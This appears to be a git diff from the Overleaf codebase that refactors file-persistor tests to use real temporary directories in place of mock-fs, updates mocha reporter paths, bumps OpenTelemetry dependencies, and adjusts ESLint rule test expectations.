||||||
],
|
],
|
||||||
})
|
})
|
||||||
@@ -153,6 +162,7 @@ ruleTester.run('domock-require-valid-path', viDoMockValidPath, {
|
|||||||
{
|
{
|
||||||
message:
|
message:
|
||||||
'The path "./require-vi-doMock-valid-path2" in vi.doMock() cannot be resolved relative to the current file.',
|
'The path "./require-vi-doMock-valid-path2" in vi.doMock() cannot be resolved relative to the current file.',
|
||||||
|
suggestions: [],
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
@@ -163,6 +173,7 @@ ruleTester.run('domock-require-valid-path', viDoMockValidPath, {
|
|||||||
{
|
{
|
||||||
message:
|
message:
|
||||||
'The first argument of vi.doMock() must be (or resolve to) a string literal representing a path.',
|
'The first argument of vi.doMock() must be (or resolve to) a string literal representing a path.',
|
||||||
|
suggestions: [],
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,12 +10,12 @@
|
|||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0",
|
"@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0",
|
||||||
"@google-cloud/profiler": "^6.0.4",
|
"@google-cloud/profiler": "^6.0.4",
|
||||||
"@opentelemetry/api": "1.9.0",
|
"@opentelemetry/api": "^1.9.1",
|
||||||
"@opentelemetry/auto-instrumentations-node": "^0.72.0",
|
"@opentelemetry/auto-instrumentations-node": "^0.76.0",
|
||||||
"@opentelemetry/exporter-trace-otlp-http": "^0.214.0",
|
"@opentelemetry/exporter-trace-otlp-http": "^0.218.0",
|
||||||
"@opentelemetry/resources": "^2.6.0",
|
"@opentelemetry/resources": "^2.7.1",
|
||||||
"@opentelemetry/sdk-node": "^0.214.0",
|
"@opentelemetry/sdk-node": "^0.218.0",
|
||||||
"@opentelemetry/semantic-conventions": "^1.39.0",
|
"@opentelemetry/semantic-conventions": "^1.41.1",
|
||||||
"compression": "^1.7.4",
|
"compression": "^1.7.4",
|
||||||
"prom-client": "^14.1.1",
|
"prom-client": "^14.1.1",
|
||||||
"yn": "^3.1.1"
|
"yn": "^3.1.1"
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -38,7 +38,6 @@
|
|||||||
"mocha": "^11.1.0",
|
"mocha": "^11.1.0",
|
||||||
"mocha-junit-reporter": "^2.2.1",
|
"mocha-junit-reporter": "^2.2.1",
|
||||||
"mocha-multi-reporters": "^1.5.1",
|
"mocha-multi-reporters": "^1.5.1",
|
||||||
"mock-fs": "^5.2.0",
|
|
||||||
"mongodb": "6.12.0",
|
"mongodb": "6.12.0",
|
||||||
"sandboxed-module": "^2.0.4",
|
"sandboxed-module": "^2.0.4",
|
||||||
"sinon": "^9.2.4",
|
"sinon": "^9.2.4",
|
||||||
|
|||||||
@@ -3,9 +3,12 @@ const fs = require('node:fs')
|
|||||||
const fsPromises = require('node:fs/promises')
|
const fsPromises = require('node:fs/promises')
|
||||||
const { glob } = require('glob')
|
const { glob } = require('glob')
|
||||||
const Path = require('node:path')
|
const Path = require('node:path')
|
||||||
|
const { promisify } = require('node:util')
|
||||||
const { PassThrough } = require('node:stream')
|
const { PassThrough } = require('node:stream')
|
||||||
const { pipeline } = require('node:stream/promises')
|
const { pipeline } = require('node:stream/promises')
|
||||||
|
|
||||||
|
const openCb = promisify(fs.open)
|
||||||
|
|
||||||
const AbstractPersistor = require('./AbstractPersistor')
|
const AbstractPersistor = require('./AbstractPersistor')
|
||||||
const { ReadError, WriteError, NotImplementedError } = require('./Errors')
|
const { ReadError, WriteError, NotImplementedError } = require('./Errors')
|
||||||
const PersistorHelper = require('./PersistorHelper')
|
const PersistorHelper = require('./PersistorHelper')
|
||||||
@@ -85,8 +88,9 @@ module.exports = class FSPersistor extends AbstractPersistor {
|
|||||||
})
|
})
|
||||||
const fsPath = this._getFsPath(location, name, opts.useSubdirectories)
|
const fsPath = this._getFsPath(location, name, opts.useSubdirectories)
|
||||||
|
|
||||||
|
let fd
|
||||||
try {
|
try {
|
||||||
opts.fd = await fsPromises.open(fsPath, 'r')
|
fd = await openCb(fsPath, 'r')
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
throw PersistorHelper.wrapError(
|
throw PersistorHelper.wrapError(
|
||||||
err,
|
err,
|
||||||
@@ -96,7 +100,7 @@ module.exports = class FSPersistor extends AbstractPersistor {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
const stream = fs.createReadStream(null, opts)
|
const stream = fs.createReadStream(null, { ...opts, fd })
|
||||||
// Return a PassThrough stream with a minimal interface. It will buffer until the caller starts reading. It will emit errors from the source stream (Stream.pipeline passes errors along).
|
// Return a PassThrough stream with a minimal interface. It will buffer until the caller starts reading. It will emit errors from the source stream (Stream.pipeline passes errors along).
|
||||||
const pass = new PassThrough()
|
const pass = new PassThrough()
|
||||||
pipeline(stream, observer, pass).catch(() => {})
|
pipeline(stream, observer, pass).catch(() => {})
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
const crypto = require('node:crypto')
|
const crypto = require('node:crypto')
|
||||||
|
const os = require('node:os')
|
||||||
const { expect } = require('chai')
|
const { expect } = require('chai')
|
||||||
const mockFs = require('mock-fs')
|
|
||||||
const fs = require('node:fs')
|
const fs = require('node:fs')
|
||||||
const fsPromises = require('node:fs/promises')
|
const fsPromises = require('node:fs/promises')
|
||||||
const Path = require('node:path')
|
const Path = require('node:path')
|
||||||
@@ -10,22 +10,59 @@ const Errors = require('../../src/Errors')
|
|||||||
|
|
||||||
const MODULE_PATH = '../../src/FSPersistor.js'
|
const MODULE_PATH = '../../src/FSPersistor.js'
|
||||||
|
|
||||||
|
function createTree(base, tree) {
|
||||||
|
fs.mkdirSync(base, { recursive: true })
|
||||||
|
for (const [name, content] of Object.entries(tree)) {
|
||||||
|
const fullPath = Path.join(base, name)
|
||||||
|
if (Buffer.isBuffer(content) || typeof content === 'string') {
|
||||||
|
fs.writeFileSync(fullPath, content)
|
||||||
|
} else if (content && typeof content.symlink === 'string') {
|
||||||
|
fs.symlinkSync(content.symlink, fullPath)
|
||||||
|
} else {
|
||||||
|
createTree(fullPath, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
describe('FSPersistorTests', function () {
|
describe('FSPersistorTests', function () {
|
||||||
const localFiles = {
|
const fileContents = {
|
||||||
'/uploads/info.txt': Buffer.from('This information is critical', {
|
'info.txt': Buffer.from('This information is critical', {
|
||||||
encoding: 'utf-8',
|
encoding: 'utf-8',
|
||||||
}),
|
}),
|
||||||
'/uploads/other.txt': Buffer.from('Some other content', {
|
'other.txt': Buffer.from('Some other content', {
|
||||||
encoding: 'utf-8',
|
encoding: 'utf-8',
|
||||||
}),
|
}),
|
||||||
}
|
}
|
||||||
const location = '/bucket'
|
let tmpDir
|
||||||
|
let location
|
||||||
|
let notADirPath
|
||||||
const files = {
|
const files = {
|
||||||
wombat: 'animals/wombat.tex',
|
wombat: 'animals/wombat.tex',
|
||||||
giraffe: 'animals/giraffe.tex',
|
giraffe: 'animals/giraffe.tex',
|
||||||
potato: 'vegetables/potato.tex',
|
potato: 'vegetables/potato.tex',
|
||||||
}
|
}
|
||||||
|
|
||||||
|
beforeEach(function () {
|
||||||
|
tmpDir = fs.mkdtempSync(Path.join(os.tmpdir(), 'fs-persistor-test-'))
|
||||||
|
createTree(tmpDir, {
|
||||||
|
uploads: {
|
||||||
|
'info.txt': fileContents['info.txt'],
|
||||||
|
'other.txt': fileContents['other.txt'],
|
||||||
|
},
|
||||||
|
'not-a-dir':
|
||||||
|
'This regular file is meant to prevent using this path as a directory',
|
||||||
|
directory: {
|
||||||
|
subdirectory: {},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
notADirPath = Path.join(tmpDir, 'not-a-dir')
|
||||||
|
location = Path.join(tmpDir, 'bucket')
|
||||||
|
})
|
||||||
|
|
||||||
|
afterEach(function () {
|
||||||
|
fs.rmSync(tmpDir, { recursive: true })
|
||||||
|
})
|
||||||
|
|
||||||
const scenarios = [
|
const scenarios = [
|
||||||
{
|
{
|
||||||
description: 'default settings',
|
description: 'default settings',
|
||||||
@@ -54,31 +91,26 @@ describe('FSPersistorTests', function () {
|
|||||||
persistor = new FSPersistor(scenario.settings)
|
persistor = new FSPersistor(scenario.settings)
|
||||||
})
|
})
|
||||||
|
|
||||||
beforeEach(function () {
|
|
||||||
mockFs({
|
|
||||||
...localFiles,
|
|
||||||
'/not-a-dir':
|
|
||||||
'This regular file is meant to prevent using this path as a directory',
|
|
||||||
'/directory/subdirectory': {},
|
|
||||||
})
|
|
||||||
})
|
|
||||||
|
|
||||||
afterEach(function () {
|
|
||||||
mockFs.restore()
|
|
||||||
})
|
|
||||||
|
|
||||||
describe('sendFile', function () {
|
describe('sendFile', function () {
|
||||||
it('should copy the file', async function () {
|
it('should copy the file', async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return an error if the file cannot be stored', async function () {
|
it('should return an error if the file cannot be stored', async function () {
|
||||||
await expect(
|
await expect(
|
||||||
persistor.sendFile('/not-a-dir', files.wombat, '/uploads/info.txt')
|
persistor.sendFile(
|
||||||
|
notADirPath,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
).to.be.rejectedWith(Errors.WriteError)
|
).to.be.rejectedWith(Errors.WriteError)
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
@@ -88,7 +120,9 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe("when the file doesn't exist", function () {
|
describe("when the file doesn't exist", function () {
|
||||||
beforeEach(function () {
|
beforeEach(function () {
|
||||||
stream = fs.createReadStream('/uploads/info.txt')
|
stream = fs.createReadStream(
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
@@ -96,7 +130,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -109,7 +143,7 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('on error', function () {
|
describe('on error', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await expect(
|
await expect(
|
||||||
persistor.sendStream('/not-a-dir', files.wombat, stream)
|
persistor.sendStream(notADirPath, files.wombat, stream)
|
||||||
).to.be.rejectedWith(Errors.WriteError)
|
).to.be.rejectedWith(Errors.WriteError)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -129,13 +163,12 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('when the md5 hash matches', function () {
|
describe('when the md5 hash matches', function () {
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
await persistor.sendStream(location, files.wombat, stream, {
|
await persistor.sendStream(location, files.wombat, stream, {
|
||||||
sourceMd5: md5(localFiles['/uploads/info.txt']),
|
sourceMd5: md5(fileContents['info.txt']),
|
||||||
})
|
})
|
||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -169,9 +202,11 @@ describe('FSPersistorTests', function () {
|
|||||||
await persistor.sendFile(
|
await persistor.sendFile(
|
||||||
location,
|
location,
|
||||||
files.wombat,
|
files.wombat,
|
||||||
'/uploads/info.txt'
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
|
stream = fs.createReadStream(
|
||||||
|
Path.join(tmpDir, 'uploads', 'other.txt')
|
||||||
)
|
)
|
||||||
stream = fs.createReadStream('/uploads/other.txt')
|
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
@@ -179,7 +214,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/other.txt'])).to.be.true
|
expect(contents.equals(fileContents['other.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -192,7 +227,7 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('on error', function () {
|
describe('on error', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await expect(
|
await expect(
|
||||||
persistor.sendStream('/not-a-dir', files.wombat, stream)
|
persistor.sendStream(notADirPath, files.wombat, stream)
|
||||||
).to.be.rejectedWith(Errors.WriteError)
|
).to.be.rejectedWith(Errors.WriteError)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -200,8 +235,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -215,13 +249,12 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('when the md5 hash matches', function () {
|
describe('when the md5 hash matches', function () {
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
await persistor.sendStream(location, files.wombat, stream, {
|
await persistor.sendStream(location, files.wombat, stream, {
|
||||||
sourceMd5: md5(localFiles['/uploads/other.txt']),
|
sourceMd5: md5(fileContents['other.txt']),
|
||||||
})
|
})
|
||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/other.txt'])).to.be
|
expect(contents.equals(fileContents['other.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -238,8 +271,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -254,13 +286,17 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('getObjectStream', function () {
|
describe('getObjectStream', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return a string with the object contents', async function () {
|
it('should return a string with the object contents', async function () {
|
||||||
const stream = await persistor.getObjectStream(location, files.wombat)
|
const stream = await persistor.getObjectStream(location, files.wombat)
|
||||||
const contents = await streamToBuffer(stream)
|
const contents = await streamToBuffer(stream)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should support ranges', async function () {
|
it('should support ranges', async function () {
|
||||||
@@ -274,8 +310,8 @@ describe('FSPersistorTests', function () {
|
|||||||
)
|
)
|
||||||
const contents = await streamToBuffer(stream)
|
const contents = await streamToBuffer(stream)
|
||||||
// end is inclusive in ranges, but exclusive in slice()
|
// end is inclusive in ranges, but exclusive in slice()
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'].slice(5, 17)))
|
expect(contents.equals(fileContents['info.txt'].slice(5, 17))).to.be
|
||||||
.to.be.true
|
.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should give a NotFoundError if the file does not exist', async function () {
|
it('should give a NotFoundError if the file does not exist', async function () {
|
||||||
@@ -287,13 +323,17 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('getObjectSize', function () {
|
describe('getObjectSize', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return the file size', async function () {
|
it('should return the file size', async function () {
|
||||||
expect(
|
expect(
|
||||||
await persistor.getObjectSize(location, files.wombat)
|
await persistor.getObjectSize(location, files.wombat)
|
||||||
).to.equal(localFiles['/uploads/info.txt'].length)
|
).to.equal(fileContents['info.txt'].length)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should throw a NotFoundError if the file does not exist', async function () {
|
it('should throw a NotFoundError if the file does not exist', async function () {
|
||||||
@@ -305,7 +345,11 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('copyObject', function () {
|
describe('copyObject', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('Should copy the file to the new location', async function () {
|
it('Should copy the file to the new location', async function () {
|
||||||
@@ -313,13 +357,17 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.potato)
|
scenario.fsPath(files.potato)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
describe('deleteObject', function () {
|
describe('deleteObject', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
await fsPromises.access(scenario.fsPath(files.wombat))
|
await fsPromises.access(scenario.fsPath(files.wombat))
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -337,7 +385,11 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('deleteDirectory', function () {
|
describe('deleteDirectory', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
await fsPromises.access(scenario.fsPath(file))
|
await fsPromises.access(scenario.fsPath(file))
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -365,7 +417,11 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('checkIfObjectExists', function () {
|
describe('checkIfObjectExists', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return true for existing files', async function () {
|
it('should return true for existing files', async function () {
|
||||||
@@ -384,13 +440,17 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('directorySize', function () {
|
describe('directorySize', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should sum directory files size', async function () {
|
it('should sum directory files size', async function () {
|
||||||
expect(await persistor.directorySize(location, 'animals')).to.equal(
|
expect(await persistor.directorySize(location, 'animals')).to.equal(
|
||||||
2 * localFiles['/uploads/info.txt'].length
|
2 * fileContents['info.txt'].length
|
||||||
)
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -404,7 +464,11 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('listDirectoryKeys', function () {
|
describe('listDirectoryKeys', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -427,7 +491,11 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('listDirectoryStats', function () {
|
describe('listDirectoryStats', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -438,7 +506,7 @@ describe('FSPersistorTests', function () {
|
|||||||
expect(keys).to.include(scenario.fsPath(files.wombat))
|
expect(keys).to.include(scenario.fsPath(files.wombat))
|
||||||
expect(keys).to.include(scenario.fsPath(files.giraffe))
|
expect(keys).to.include(scenario.fsPath(files.giraffe))
|
||||||
for (const stat of stats) {
|
for (const stat of stats) {
|
||||||
expect(stat.size).to.equal(localFiles['/uploads/info.txt'].length)
|
expect(stat.size).to.equal(fileContents['info.txt'].length)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-16
@@ -3,39 +3,41 @@
|
|||||||
"private": true,
|
"private": true,
|
||||||
"packageManager": "yarn@4.14.1",
|
"packageManager": "yarn@4.14.1",
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
"@eslint/compat": "^2.1.0",
|
||||||
|
